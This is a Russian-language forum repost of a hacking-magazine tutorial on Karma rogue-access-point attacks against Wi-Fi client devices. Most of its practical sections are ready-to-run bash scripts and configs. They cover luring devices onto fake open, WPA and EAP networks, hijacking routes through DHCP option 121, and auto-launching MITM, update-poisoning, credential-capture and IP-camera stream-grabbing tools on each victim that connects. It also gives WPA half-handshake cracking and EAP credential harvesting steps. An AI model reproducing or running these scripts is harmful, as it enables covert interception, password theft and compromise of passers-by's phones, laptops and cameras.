Атакуем клиентские устройства с помощью Karma

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Даже если твое клиентское устройство не подключено к Wi-Fi, оно может стать объектом атаки. Существует целый комплекс атак под общим названием Karma, позволяющих скомпрометировать клиентские девайсы с модулем Wi-Fi на борту. Сегодня мы подробно разберем, как работает эта технология.

KARMA, Karma Attacks Radioed Machines Automatically, — это рекурсивный акроним, расшифровывающийся примерно как «Karma атакует радиоустройства автоматически». И слово «автоматически» имеет тут ключевой смысл.

При атаках на Wi-Fi злоумышленники чаще всего обращают внимание на точки доступа. Их атаковать куда проще, ведь они почти всегда неподвижны и их хорошо слышно благодаря многочисленным beacon-пакетам, в которых они анонсируют себя. Да и компрометация точки доступа имеет вполне понятные перспективы.

Другое дело — клиентские устройства. Что они могут дать хакеру? Эти устройства менее заметны, ведь они не шлют в радиоэфир пакеты столь же активно. Тем не менее клиентские устройства можно отыскать повсюду — это и ноутбуки, и телефоны, и IP-камеры, и куча разнообразных embedded-девайсов. И Karma — это, пожалуй, лучшая атака, которую можно применить на клиентские устройства самого широкого спектра. Такая атака сложнее в реализации, зато ее эксплуатация открывает широкий простор для творчества.

ТЕОРИЯ​

Все атаки на клиентов — как пользователей, так и их устройства — реализуются через RoqueAP (мошеннические точки доступа). Они так или иначе используют факт доверия к вредоносной беспроводной сети. Поскольку именно клиентская сторона инициирует подключение, то без доверия тут не обойтись. При этом доверие необязательно может исходить от пользователя, доверять может и само устройство. И Karma как раз нацелена на то, чтобы вынудить то или иное устройство подключиться по Wi-Fi, причем автоматически, без привлечения его владельца.

Karma — это подмножество RoqueAP-атак, наряду с атаками Evil Twin. Но не стоит путать эти два метода. Evil Twin — наиболее широко известная атака на клиентов, по сути представляющая собой беспроводной фишинг, то есть социальную атаку, требующую участия пользователя. В то время как Karma — это атака исключительно на само клиентское устройство, причем атака автоматическая, она не требует участия пользователя. Неважно, работает жертва в данный момент с устройством или нет, разблокировано оно или заблокировано, находится оно в руках или в кармане, — все может быть атаковано с помощью Karma.

Причина​

Если верить источникам, эта атака возможна благодаря двум особенностям поведения клиентских устройств:
  • трансляция в радиоэфир так называемого списка предпочтительных сетей (Preffered Network List, PNL), содержащего имена известных клиенту беспроводных сетей, к которым ранее он уже подключался;
  • автоматическое подключение к таким сетям.
В различных описаниях Karma главным образом акцент делается на первом пункте — разглашении PNL, однако существуют атаки и на устройства, не транслирующие этот список. И на мой взгляд, куда более важен второй пункт — автоматическое подключение.

Не подключенные к сети клиентские устройства не столь «разговорчивы», как точки доступа, однако периодически они шлют в радиоэфир probe-пакеты, содержащие PNL — те самые сети, к которым они могут подключиться без участия пользователя.

1.png


Красным на рисунке отмечены клиенты с включенным Wi-Fi, но не подключенные ни к одной сети. Именно эти устройства являются главной целью для Karma.

Имена, содержащиеся в probe-запросах сетей, могут быть старыми и выведенными из эксплуатации (corp_old), тем не менее они по‑прежнему сохранены на клиентах. Также клиенты могут помнить домашние (home) или гостевые (hotel) сети, которые в текущем расположении отсутствуют.

Для настройки различных устройств, например IP-камер, администраторы могли использовать тестовые сети, которые остались в памяти устройств.

И ко всем этим сетям клиенты по‑прежнему готовы подключиться автоматически, без участия пользователя. Таким образом, злоумышленник может атаковать клиентские устройства даже вдали от используемых ими сетей, что делает такую атаку невидимой.

Реализация​

Реализация атаки заключается в том, что атакующий слушает содержащие PNL пакеты и поднимает запрашиваемую беспроводную сеть в надежде, что клиент выполнит к ней подключение.

Технически атаку Karma можно реализовать двумя способами:
  1. На каждый probe-запрос клиента запускается полноценная беспроводная сеть с запрашиваемым именем.
  2. На каждый probe-запрос клиента отправляется только probe-ответ (иногда еще beacon-пакет), при этом новая сеть уже не перезапускается каждый раз.
Первый способ достаточно простой. Он требует наличия mon-интерфейса для отслеживания probe-запросов и WLAN-интерфейса для запуска точки доступа. Далее точка доступа уже сама отправляет probe-ответы и beacon, которые могут привлечь того или иного клиента. Такую атаку можно выполнить, используя самое обычное ПО: tcpdump, hostapd и dnsmasq.

Но у этого способа есть недостатки:
  • требуются два интерфейса;
  • единовременно запускается только одна беспроводная сеть, что делает невозможным в это же время пробовать другие имена сетей.
Второй способ более рациональный. Чтобы клиент подключился к точке доступа, ее необязательно перезапускать каждый раз — требуется лишь на probe-запрос клиента отправить соответствующий probe-ответ. Некоторым клиентам может потребоваться еще отправка соответствующих beacon-пакетов. Возможность посылать клиентам произвольные probe- и beacon-пакеты реализована в немного пропатченной версии hostapd-mana. Более того, для приема и передачи probe-, а также beacon-пакетов не нужен режим monitor, все реализуется на стандартном режиме сетевой карты.

Сообщить клиенту о наличии точки доступа можно двумя способами:
  1. Probe-ответ — таргетированный ответ на probe-запрос клиента.
  2. Beacon — широковещательный анонс беспроводной сети.
Обычно точки доступа реализуют анонс своего присутствия, рассылая широковещательные beacon-пакеты, которые слышат все беспроводные клиенты в округе. Но для экономии вычислительных мощностей клиентов придуман альтернативный режим поиска. Он заключается в том, что клиент теперь отправляет широковещательный probe-запрос с именем интересующей его сети и уже точки доступа должны среагировать на него probe-ответом.

Возможность подключить клиент только по probe-ответу имеет достаточно интересную особенность — о наличии точки доступа узнает только один клиент. Это делает атаку Karma, использующую лишь probe-запросы, бесшумной.

Но не все клиентские устройства поддерживают такой режим работы, поэтому им нужен еще и классический beacon-пакет. Атака с использованием beacon более шумная, так как о наличии сети в этом случае станет известно всем клиентам (Loud Karma).

ПРАКТИКА​

Перейдем от теории к практике и попробуем воспользоваться Karma. Узнать об интересующих клиента именах сетей можно двумя способами.

Утечка PNL​

Если точки доступа выдают свое присутствие beacon-пакетами, то клиенты — probe-запросами. Посмотреть, какие PNL содержатся в этих самых запросах, мы можем с помощью разных утилит — airodump-ng, hcxdumptool или даже tcpdump:

wifi/roque_ap/karma/PNL.sh​

Bash: Скопировать в буфер обмена
Код:
#!/bin/bash
sudo tcpdump -i mon0 -e -nn 2> /dev/null | grep Probe | sed -rn 's/.* ([^\s]+) signal .*SA:(.+) Probe Request .*\(([^\)]+)\).*/\1 \2 \3/p'
Мы увидим, что многие устройства действительно отправляют непустой PNL.

2_Be9aMpB.jpg


Этот метод эффективен и позволяет сразу же перейти к атаке на устройство через запуск беспроводной сети с соответствующим именем. Но использование probe-запросов для определения имен беспроводных сетей не позволяет узнать тип запрашиваемой клиентом сети. В идеале атакующий должен запустить одновременно сразу три беспроводные сети с идентичным именем (OPN, WPA и EAP).

Known beacons​

Не все устройства на деле отправляют probe-запросы, содержащие список сетей. Устройства, отправляющие пустой PNL, считаются как бы неуязвимыми к Karma. Однако их способность к автоматическому подключению по‑прежнему может представлять интерес для хакера. А это значит, что к Karma уязвимы куда больше устройств, чем принято считать. Мы не знаем, к каким сетям подключался клиент, но что, если мы угадаем?

Имея список наиболее часто встречающихся имен беспроводных сетей, мы можем просто перебрать их, отправляя beacon-пакеты до тех пор, пока клиентское устройство не подключится к нам.

Единственный публичный инструмент, способный выполнять атаку known beacons на все три типа сетей, — это hostapd-eaphammer. Эта модифицированная реализация hostapd умеет среди прочего отправлять произвольные beacon-пакеты по списку. Используем следующий интерактивный скрипт для перебора beacons по словарю с указанием типа сети:

wifi/roque_ap/karma/known_beacons.sh​

Bash: Скопировать в буфер обмена
Код:
#!/bin/bash
[[ $# -ge 1 ]] && essids="$1" || read -p 'essids file: ' essids
[[ $# -ge 2 ]] && type="$2" || read -p 'type (opn/wpa/eap): ' type
IFACE='wlan1'
sudo ifconfig $IFACE up
case "$type" in
  'opn'|'OPN') cp hostapd-eaphammer-known_beacons-opn.conf /tmp/hostapd-eaphammer.conf;;
  'wpa'|'WPA') cp hostapd-eaphammer-known_beacons-wpa.conf /tmp/hostapd-eaphammer.conf;;
  'eap'|'EAP') cp hostapd-eaphammer-known_beacons-eap.conf /tmp/hostapd-eaphammer.conf;;
esac
sed -i "s/interface=.*/interface=$IFACE/g" /tmp/hostapd-eaphammer.conf
sed -i "s|known_ssids_file=.*|known_ssids_file=$essids|g" /tmp/hostapd-eaphammer.conf
sudo hostapd-eaphammer -x /tmp/hostapd-eaphammer.conf -d | grep 'GENERATING RESPONSE:'
Запускаем и видим, что неприступный на первый взгляд заблокированный ноутбук с Windows готов к нам подключиться.

3_RaqpnZz.jpg


А после его подключения мы можем выполнить любые атаки и, например, вытянуть хеш пользователя.

4_u6qtnvA.jpg


Для экспериментов с known beacons я написал простую Python-реализацию с помощью scapy.

АТАКИ​

В Wikipedia сказано, что Karma нацелена на открытые сети, но на деле ничто не мешает применить атаку и к закрытым сетям. В зависимости от типа поднимаемой нами сети возможны три сценария:
  • OPN — поднятие открытой сети, прием трафика устройства, сетевые атаки на устройство;
  • WPA — захват сохраненного пароля в виде half-handshake, брутфорс, переход к сценарию с OPN;
  • EAP — прием учетных данных.
В общем, матрица возможных с Karma атак достаточно обширна.
5.png


Однако все публичные инструменты, умеющие выполнять атаку Karma, не делают ничего после подключения клиента. При реализации такой атаки некорректно проводить черту после подключения устройства, ведь в этот момент хакер может применить некоторые приемы, специфичные только в этом случае. Да и самое интересное начинается после подключения клиента. Но обо всем по порядку.

Karma-OPN​

Атака Karma через открытые сети позволяет получить сетевой канал взаимодействия с клиентом. А учитывая, что атакующий в отношении клиента находится в позиции шлюза, то есть он пересылает трафик клиента, на него могут быть направлены многочисленные атаки — от простых сетевых до MITM. Также в момент подключения клиента с помощью особых настроек сети, задаваемых посредством DHCP, становится возможным заставить клиента пустить сетевой трафик других интерфейсов через атакующего, достигая эффекта сверх-MITM. Теперь немного подробнее.

Attack OPN → Overlap​

Часто подключаемые к открытой сети устройства будут либо с несконфигурированными настройками, либо с уже истекшим сроком аренды IP-адреса. Как известно, дефолтным для сетевых интерфейсов является запрос настроек по DHCP. Тот факт, что клиентское устройство попросит у нас параметры нашей сети, позволяет применить достаточно хитрый и опасный прием. Вместо стандартной маски 0.0.0.0/0 (default, на все адреса) мы можем выразить то же самое через две маски 0.0.0.0/1 + 128.0.0.0/1, которые в совокупности образуют тот же дефолтный маршрут:
Код: Скопировать в буфер обмена
Код:
0.0.0.0/0 via 10.10.0.1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему
0.0.0.0/1 via 1.0.0.1 <- новый маршрут, перекрывающий первые 50% IPv4-сетей
128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50% IPv4-сетей (маска короче, и такие маршруты окажутся приоритетнее)
Теперь наш беспроводной интерфейс станет дефолтным для доступа к любым IPv4-адресам. Однако то, что мы задали его через две, чуть более короткие маски сети, сделает наши маршруты приоритетнее стандартного 0.0.0.0/0, поскольку сети с более короткими масками всегда предпочтительнее. И поэтому, если у подключившегося к нам клиента уже имелся сетевой интерфейс, например проводной, его трафик окажется перетянут на нас. Таким образом мы сможем перехватить трафик любого смежного интерфейса.

6.png


На самом деле такое поведение, помимо «сверх-MITM-эффекта», имеет опасное, но предсказуемое последствие — устройство может стать недоступным из других сетей. Можно представить себе достаточно вероятный сценарий: включение Karma и массовое подключение к нему IP-камер. После перекрытия маршрутов, подключенные по проводу к пульту видеонаблюдения, они могут стать недоступными.

В итоге, используя трюк с маршрутами, мы можем:
  • перехватить трафик смежных сетевых интерфейсов;
  • привести к сетевому отказу в обслуживании.

Attack OPN → MITM​

Неважно, есть ли у клиентского устройства другие сетевые интерфейсы и были ли они перекрыты, с DHCP мы в любом случае станем для клиента шлюзом. Это значит, что трафик жертвы в сторону интернета пойдет через нас. Находясь в позиции легального MITM, атакующий может попытаться вмешаться в SSL-трафик, прочитать или подменить незашифрованный трафик или дать сигнал обновления и внедрить бэкдор.

Attack OPN → доступ к сети​

Наконец, между атакующим и жертвой образуется обычный сетевой канал, который может быть использован для запуска произвольных атак уровня приложений. Начиная от уязвимостей в ПО и ОС, заканчивая подбором паролей и последующей компрометацией устройства.

Ключевой момент для атакующего в том, что он заранее не знает тип устройства, которое к нему подключится. Это создает определенные сложности. В частности, нужно быть готовым атаковать любое устройство, притом сделать это нужно быстро, так что без автоматизации тут будет сложно.

Итак, если атакующему удастся подключить к себе чей‑то ноутбук, он может начать подбирать к нему пароль или проэксплуатировать уязвимость и получить доступ в систему.

7.png



Если это смартфон, то, подключившись, он начнет передавать через атакующего кучу конфиденциальной информации. Не стоит забывать, что сотни мобильных приложений, которые установлены на телефонах на все случаи жизни, вполне способны что‑то транслировать в незащищенном виде. Они могут некорректно проверять SSL-сертификат или быть подверженными произвольному исполнению кода при подделке трафика.
8.png



Если нам попадется принтер, подключенный проводом к корпоративной сети, то и он может пересылать через себя трафик. Таким образом, беспроводной принтер в худшем из сценариев станет для злоумышленника шлюзом во внутреннюю сеть компании.
9.png



Наконец, таким образом могут подключаться и IP-камеры. В этом случае как минимум возможен доступ к самому устройству и к его видеоинформации. Как максимум — IP-камеры могут быть впоследствии взломаны и стать точкой проникновения, ведь, как известно, это далеко не самые защищенные устройства. Тем более IP-камеры часто располагаются в физических границах периметра, откуда до них можно дотянуться прямо с улицы.
10.png


Мы видим, что разнообразные клиентские устройства Wi-Fi вокруг нас на короткое время могут подключаться к некоторым беспроводным сетям и злоумышленник вполне в состоянии их атаковать.

ЭКСПЛУАТАЦИЯ​

Время перейти к эксплуатации. Следующий скрипт выполняет автоматическую атаку на клиентские устройства в округе через открытые беспроводные сети:

wifi/roque_ap/karma/attack-opn.sh​

Bash: Скопировать в буфер обмена
Код:
#/bin/bash
[[ $# -ge 1 ]] && essid="$1" || essid='test'
OPN='wlan1'
cp  /opt/hostapd-mana/hostapd/hostapd.conf /tmp/hostapd-mana.conf
sed -i "s/interface=.*/interface=$OPN/g" /tmp/hostapd-mana.conf
sed -i "s/ssid=.*/ssid=$essid/g" /tmp/hostapd-mana.conf
cp dnsmasq-attack.conf /tmp/dnsmasq-attack.conf
sed -i "s/interface=.*/interface=$OPN/g" /tmp/dnsmasq-attack.conf
sudo ifconfig $OPN up
tmux new-session -d -s karma -n OPN 'sudo /opt/hostapd-mana/hostapd/hostapd /tmp/hostapd-mana.conf'
sudo ip a add 11.0.0.1/24 dev $OPN
sleep 1
table=$(ip r show table all|grep $OPN|grep '::'|head -n 1|cut -d ' ' -f 5)
sudo ip r add 11.0.0.0/24 dev $OPN table $table #97
sudo ip rule add to 11.0.0.0/24 lookup $table
tmux split-window -v -t OPN 'sudo dnsmasq --conf-file=/tmp/dnsmasq-attack.conf -d'
tmux split-window -v -t OPN "./attack.sh $OPN"
tmux a -t karma
В скрипте выполняется запуск трех компонентов атаки, разделенных на три области:
  1. Точка доступа hostapd-mana, отвечающая всем клиентам.
  2. DHCP-сервер, раздающий настройки сети подключаемым клиентам.
  3. Атакующий движок, запускающий атаки.
Запуск hostapd-mana не требует предварительной настройки. Конфигурация сети для DHCP может быть, например, такой:

wifi/roque_ap/karma/dnsmasq-attack.conf​

Код: Скопировать в буфер обмена
Код:
domain=fake.net
interface=wlan1
dhcp-range=11.0.0.100,11.0.0.200,1h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1
dhcp-option=6,8.8.8.8,8.8.4.4
dhcp-option=121,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
dhcp-option=249,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
Именно тут и используется трюк с перекрытием маршрутов. Он позволяет изменить настройки маршрутизации, выставив беспроводное подключение более приоритетным, и направить трафик других сетевых интерфейсов устройства жертвы на атакующего. Это позволит как перехватить дополнительные данные, так и вызвать отказ в обслуживании из‑за недоступности на других сетевых интерфейсах.

Атакующий движок, реагирующий на новых клиентов и запускающий на них произвольные атаки, реализован в следующем скрипте:

wifi/roque_ap/karma/attack.sh​


Bash: Скопировать в буфер обмена
Код:
#!/bin/bash
GREEN=$'\x1b[32m'
RESET=$'\x1b[39m'
IFACE='wlan1'
#~/gui.sh
rm /tmp/karma_attacks.txt 2> /dev/null
for script in $(find on_network/ -type f -perm -u+x)
do
  exec sudo $script $IFACE "" &
done
while sleep 1
do
  arp -an | sed -rn "s/\? \(([^\)]+)\) .*\[ether\] on $IFACE/\1/p" | while read ip
  do
    egrep -q "^$ip$" /tmp/karma_attacks.txt 2> /dev/null && continue || echo "$ip" >> /tmp/karma_attacks.txt
    echo $GREEN "client detected $ip" $RESET
    for script in $(find on_client/ -type f -perm -u+x)
    do
      exec $script $ip "" 11.0.0.1 &
    done
  done
done
Важно, что атакующий не просто молча подключает к себе клиентов по Wi-Fi, а еще и автоматически выполняет различные атаки. Поскольку устройства подключаются и отключаются достаточно быстро, то без автоматизации тут никак не обойтись.

С помощью Karma хакер может атаковать вообще любую технику, даже автономную, такую как IP-камеры. Однако заранее он не знает, какое устройство к нему подключится, и поэтому спектр возможных атак должен быть максимально широким.

Karma-OPN по эксплуатации очень похожа на беспроводной аналог BadUSB-eth. И в дополнение к тому, что было описано ранее, а именно: к атакам на NetBIOS, приводящим к утечкам хешей (on_network/responder.sh), отравлению веб‑кеша и выкачиванию Cookies (on_network/poisontap.sh), а также подмене сертификата и вмешательству в зашифрованный HTTPS-трафик (on_network/sslsplit.sh), можно сделать еще многое. Например, активировать атаки на небезопасные обновления с помощью evilgrade:

on_network/evilgrade.sh​

Bash: Скопировать в буфер обмена
Код:
#!/bin/bash
echo '[*] running insecure updates MiTM attacks'
[[ $(iptables -t nat -vnL PREROUTING | grep "$1" | grep 53) = '' ]] && {
    iptables -t nat -A PREROUTING -i "$1" -p udp --dport 53 -j REDIRECT --to-ports 53
}
[[ $(iptables -t nat -vnL PREROUTING | grep "$1" | grep 80) = '' ]] && {
    iptables -t nat -A PREROUTING -i "$1" -p tcp --dport 80 -j REDIRECT --to-ports 80
}
screen -dmS evilgrade bash -c 'echo start | sudo evilgrade'
Даже сегодня существует немало популярных приложений, обновляющихся по не защищенному от подмены протоколу HTTP. В случае со смартфонами также не стоит забывать про уязвимости мобильных приложений. Не будет лишним атакующему выполнить простое сканирование портов для каждого подключившегося устройства:

on_client/scan.sh​

Bash: Скопировать в буфер обмена
Код:
#!/bin/bash
echo '[*] scanning common ports'
time=$(date +'%H:%M:%S_%d.%m.%Y')
nmap -Pn -n $1 -oN "nmap-$1_$time.txt"
Открытые порты позволяют опознать тип подключаемого устройства. Не исключено, что подключившийся девайс может пересылать через себя трафик. Тогда через него атакующий может проникнуть в другую сеть, возможно, корпоративную:

on_client/ip_forwarding.sh​

Bash: Скопировать в буфер обмена
Код:
#!/bin/bash
echo '[*] checking IP forwarding'
nmap -sn -n $1 --script ip-forwarding --script-args="ip-forwarding.target=$3" > /tmp/ip_forwarding.log
grep 'ip forwarding enabled' /tmp/ip_forwarding.log --color=auto
Так как разнообразные устройства IoT подвержены атаке Karma, то атакующему имеет смысл подключить и проверку специфичных уязвимостей:

on_client/routersploit.sh​

Bash: Скопировать в буфер обмена
Код:
#!/bin/bash
WAIT=2
PORTS=(80 8080 443)
for port in ${PORTS[*]}
do
    if nc -nw $WAIT $1 $port < /dev/null 2> /dev/null; then
        echo '[*] running Routersploit attacks'
        rsf.py -m 'scanners/cameras/camera_scan' -s "target $1" 2> /dev/null
        break
    fi
done
Если на подключившейся IP-камере открыты веб‑порты, то с помощью routersploit можно задетектить потенциальную RCE или иную уязвимость. На IP-камере также получится проверить возможность анонимного подключения к ее видеопотоку:

on_client/rtsp.sh​

Bash: Скопировать в буфер обмена
Код:
#!/bin/bash
WAIT=2
DPORT=554
if nc -nw $WAIT -c $1 $DPORT < /dev/null 2> /dev/null; then
    echo '[*] RTSP streaming'
    nmap -Pn -n -p 554 --script rtsp-url-brute $1 -oX /tmp/rtsp.xml > /dev/null 2>&1
    url=$(cat /tmp/rtsp.xml | xmllint --xpath '//table[@key="discovered"]/elem/text()' - 2>/dev/null | head -n 1)
    if [ -n "$url" ]; then
        echo "[*] $url"
        #timeout 2 cvlc "$url" --sout=file/ts:/tmp/"$1.mpg" #> /dev/null 2>&1
        ffmpeg -i "$url" -vframes 1 -y "/tmp/$1.jpg" > /dev/null
    fi
    if [ -s "/tmp/$1.jpg" ]; then
        cp "/tmp/$1.jpg" "$1.jpg"
        echo "[+] $(ls -lh $1.jpg)"
    fi
fi
IP-камеры, даже при наличии защищенной паролем веб‑админки, иногда позволяют подключаться к стриму по RTSP без аутентификации. А со смартфоном атакующий крайне подвижен и может видеть результаты атак в реальном времени. В следующем примере открытая точка доступа пытается подключить к себе все беспроводные устройства вокруг (первая треть экрана). Те из них, что искали именно открытую сеть, подключаются и получают сетевые настройки по DHCP (вторая треть экрана). Наконец атакующий скрипт (последняя треть экрана) запускает разнообразные сценарии, и можно видеть, как (судя по результатам сканирования портов) к телефону подключилась IP-камера.
11_N53gDLt.jpg


В списке открытых портов виден 554/TCP, с которого иногда можно получить видеопоток без аутентификации.

Karma-WPA​

Атака Karma не заканчивается открытыми сетями, ее можно применить и к закрытым.

В статье «Брут на ходу. Атакуем беспроводные сети простым и эффективным способом» мы детально рассмотрели механизм проверки общего ключа, требующий всего двух пакетов: EAPOL M1 и M2 (half-handshake). Пароль в M2-сообщении отправляет клиент, а это значит, что мы можем узнать пароль от сети, которую он запомнил, без наличия точки доступа.

Так как атакующий изначально не знает пароля, с которым к нему хочет подключиться клиент, то расшифровывать трафик от клиента не получится. Равно как не получится организовать сетевое взаимодействие и атаковать клиента. Зато клиенты будут отправлять полноценные Half-Handshake от известных им сетей, из которых методом брутфорса можно восстановить пароли:

wifi/roque_ap/karma/attack-wpa.sh​

Bash: Скопировать в буфер обмена
Код:
#!/bin/bash
tmux new-session -d -s karma -n WPA 'sudo hcxdumptool -i mon0 --enable_status=15 -o $dumpfile.pcapng --passive --disable_ap_attacks'
tmux split-window -v -t WPA './brute_half.sh'
tmux a -t karma
Первый компонент — это hcxdumptool, который на все probe-запросы отвечает соответствующим probe-ответом, а также посылает пакет EAPOL M1, чтобы клиент отправлял в ответ M2-пакет с handshake. Стоит заметить, что реально точка доступа тут не создается, — вся работа с пакетами Wi-Fi происходит в сыром режиме и требует на сетевой карте атакующего включенный режим монитора.

Второй компонент выполняет брутфорс — ведь принятые Half-Handshake содержат все необходимое для восстановления пароля клиента:

wifi/roque_ap/karma/brute_half.sh​

Bash: Скопировать в буфер обмена
Код:
#!/bin/bash
tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap
aircrack-ng -w /opt/wordlists/top100k.txt "$dumpfile.pcap" && read ok
rm $dumpfile.pcap
Выходит, чтобы подобрать пароль к беспроводной сети, точка доступа не нужна. В приведенном ниже примере имитируются запрашиваемые WPA-сети. Результатом стала попытка подключения атакованного смартфона, который, отправив WPA Half-Handshake (EAPOL M1 + M2), попытался аутентифицироваться с сохраненным паролем. Пароль был успешно подобран.

12_OZYKHoT.jpg



С использованием подобранного пароля была запущена уже полноценная точка доступа WPA (возможно, как у домашней или гостевой сети Wi-Fi) и инициирован прием трафика с мобильного телефона жертвы. С атакой Karma, которая позволяет подключать к себе клиенты, в частности смартфоны прохожих, становится возможным то, что показано в игре Watch Dogs.

13.jpg


На самом деле взломать смартфон за секунды вполне вероятно, только это требует от атакующего раздобыть закрытый ключ к любому корневому сертификату и вскрыть им HTTPS-трафик. Тогда подключенное устройство жертвы получает модифицированный трафик от Play Market, где, как известно, можно инициировать удаленную установку приложения. В качестве такого приложения может использоваться троян с последующим вытягиванием данных из установленных мобильных банковских клиентов. Словом, всё как в игре.

Karma-EAP​

Enterprise-стандарт беспроводных сетей, призванный быть более продуманным в плане безопасности, на деле порою оказывается уязвимее соседского Wi-Fi. Чрезвычайная коварность атаки Karma-EAP заключается в том, что выполнена она может быть где угодно, даже вне объекта действия легитимной сети.

14_HLJZzLp.jpg


Для проведения атаки на WPA Enterprise необходим запуск сети с нужным именем. Словом, атакующему требуется знать имя сети, что возможно далеко не всегда, ведь сети бывают еще и скрытыми.

Атака Karma как раз позволяет узнавать имена таких сетей. Поэтому атакующий может на каждый probe-запрос отвечать соответствующим probe-ответом, указывая, что такая сеть присутствует. После чего он может принимать подключения клиентских устройств, предлагая им пройти аутентификацию по небезопасным протоколам GTC или MSCHAP. В случае, если клиент в своих probe-запросах ищет именно сеть WPA Enterprise, то он ее получит, а атакующий получит его учетные данные.

wifi/roque_ap/karma/attack-eap.sh​

Bash: Скопировать в буфер обмена
Код:
#/bin/bash
EAP='wlan1'
sudo ifconfig $EAP up
cp hostapd-eaphammer-karma.conf /tmp/hostapd-eaphammer.conf
sed -i "s/interface=.*/interface=$EAP/g" /tmp/hostapd-eaphammer.conf
sudo /opt/eaphammer/local/hostapd-eaphammer/hostapd/hostapd-eaphammer -x /tmp/hostapd-eaphammer.conf
Конфигурационный файл может быть взят из каталога eaphammer/local/hostapd-eaphammer/hostapd/hostapd.conf. Для атаки Karma он должен, помимо прочего, содержать одну или две директивы:
Код: Скопировать в буфер обмена
Код:
hostapd-eaphammer-karma.conf
…
use_karma=1 # for probe-response
loud_karma=1 # for beacons
…
Основанный на hostapd-wpe, модифицированный hostapd-eaphammer умеет, подобно hostapd-mana, отвечать клиентам probe-ответами и beacon с запрашиваемыми именами сетей. Это ведет к тому, что клиенты начинают воспринимать беспроводную сеть атакующего как ту, которую они знают и к которой уже подключались. На иллюстрации ниже показана автоматическая отправка учетных данных клиентским устройством на смартфон атакующего, когда атакующий не знает имени сети.

15_2hqQ2Zl.jpg


Сколько сетей может быть атаковано подобным образом? Ведь чтобы клиентское устройство, лежащее в кармане или сумке прохожего, подключилось к атакующему, не нужно знать имя беспроводной сети. Злоумышленнику надо лишь оказаться в местах большого скопления людей, где он вполне может раздобыть доменные учетные записи любых компаний — от мелких до крупных. При этом факт атаки — источник утечки учетных данных — невозможно выявить, ведь подставляет жертву в данном случае не точка доступа, а клиент.

ВЫВОДЫ​

Атака Karma максимально подвижная, так как направлена на клиенты, которые тоже сами по себе подвижны. Успешность эксплуатации гарантирована далеко не всегда. Для этого требуется максимальное количество клиентов, распределенных по площади. И несмотря на реализацию множества автоматических проверок, возможно, атакующему не помешает дополнительный интерактив с подключившимся устройством. Первые попытки атак Karma, с целью хотя бы идентификации подключаемых устройств и проверки самых тривиальных уязвимостей, могут быть выполнены с помощью смартфона. Позднее для устойчивого взаимодействия с подверженным атаке устройством, например IP-камерой над забором защищенного объекта, может быть использован 4G VPN-канал до Pineapple-устройства. Незаметно лежащий неподалеку от целей девайс позволяет атакующему удаленно развивать более длительные и сложные атаки уже через него:

На стороне Pineapple:​

Код: Скопировать в буфер обмена
Код:
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

На стороне атакующего:​

Код: Скопировать в буфер обмена
route add -host target_ip gw pineapple
Сейчас сложно представить, сколько устройств реально могут иметь на борту Wi-Fi. Встраиваемая электроника часто базируется на крайне популярных ARM-процессорах, которые представляют собой систему на кристалле, сразу имея внутри себя и Wi-Fi, и кучу всего остального. Проще внедрить такой растиражированный сотнями тысяч дешевый чип в устройство, чем производить его каждый раз отдельно под каждую задачу.

Множество устройств вокруг нас может быть снабжено модулем Wi-Fi: телефоны, что в кармане у каждого, IP-камеры, что висят повсюду, и, наконец, ноутбуки в соседних комнатах, и даже компоненты умного дома. Такие устройства с Wi-Fi на борту не посылают ничего в эфир, просто тихо ожидают появления беспроводной сети с нужным именем.

Атака Karma не основана на какой‑то конкретной уязвимости. Она использует лишь общепринятые особенности поведения клиентских устройств, таких как автоматическое подключение. Поэтому защититься от этой атаки вполне логично можно через запрет автоподключения. Сложно контролируемая и достаточно неочевидная атака делает Karma актуальной еще на многие годы вперед, несмотря на то что известен этот вид атак уже два десятилетия.

Автор @s0i37
Lead cybersecurity analyst at USSC t.me/s0i37_channel
источник xakep.ru
 
Сверху Снизу